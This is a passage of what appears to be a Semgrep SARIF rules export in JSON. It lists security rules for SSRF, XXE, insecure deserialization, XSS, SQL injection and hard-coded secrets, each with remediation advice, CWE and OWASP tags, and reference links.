generic.secrets.security.detected-square-oauth-secret.detected-square-oauth-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `evaluate` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","id":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","name":"javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-evaluate-code-injection.puppeteer-evaluate-code-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"help":{"markdown":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1)\n - [https://link.springer.com/chapter/10.1007/BFb0055716](https://link.springer.com/chapter/10.1007/BFb0055716)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://www.pycryptodome.org/src/cipher/pkcs1_v1_5](https://www.pycryptodome.org/src/cipher/pkcs1_v1_5)\n","text":"PKCS#1 v1.5 decryption is intrinsically vulnerable to timing attacks. The `pycryptodome` implementation attempts to mitigate the risk with some constant-time constructs, however these are not sufficient by themselves and your use of the library may still be vulnerable. Consult the documentation for the library to understand the risks and how to mitigate them. Alternatively, we recommend to use PKCS#1 OAEP instead for a secure by default implementation."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","id":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","name":"python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.pycryptodome-rsa-pkcs1.pycryptodome-rsa-pkcs1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxbuilder-xxe-servlet.tainted-saxbuilder-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","id":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","name":"python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-hardcoded-secret.python-webrepl-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"help":{"markdown":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication)\n - [https://cwe.mitre.org/data/definitions/287.html](https://cwe.mitre.org/data/definitions/287.html)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n","text":"Basic authentication is considered weak and should be avoided.  Use a different authentication scheme, such of OAuth2, OpenID Connect, or mTLS."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","id":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","name":"yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-A07:2021 Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.use-of-basic-authentication.use-of-basic-authentication"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pickle-fastapi.tainted-pickle-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","id":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","name":"python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-ruamel-flask.tainted-ruamel-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","id":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","name":"go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.xss.gin-formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.puppeteer-express.puppeteer-express","id":"javascript.express.code.puppeteer-express.puppeteer-express","name":"javascript.express.code.puppeteer-express.puppeteer-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.puppeteer-express.puppeteer-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"help":{"markdown":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n - [https://golang.org/pkg/io/#WriteString](https://golang.org/pkg/io/#WriteString)\n","text":"Detected 'io.WriteString()' writing directly to 'http.ResponseWriter'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package to render data to users."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","id":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","name":"go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-io-writestring-to-responsewriter.no-io-writestring-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli)\n - [https://github.com/MagicStack/asyncpg](https://github.com/MagicStack/asyncpg)\n - [https://magicstack.github.io/asyncpg/current/](https://magicstack.github.io/asyncpg/current/)\n","text":"Detected string concatenation with a non-literal variable in a asyncpg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can create parameterized queries like so: 'conn.fetch(\"SELECT $1 FROM table\", value)'. You can also create prepared statements with 'Connection.prepare': 'stmt = conn.prepare(\"SELECT $1 FROM table\"); await stmt.fetch(user_value)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","id":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","name":"python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.asyncpg-sqli.asyncpg-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"help":{"markdown":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper)\n","text":"Found usage of 'importlib.abc.ResourceReader'. This module is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use another loader."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-textiowrapper","id":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","name":"python.lang.compatibility.python37.python37-compatibility-textiowrapper","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: 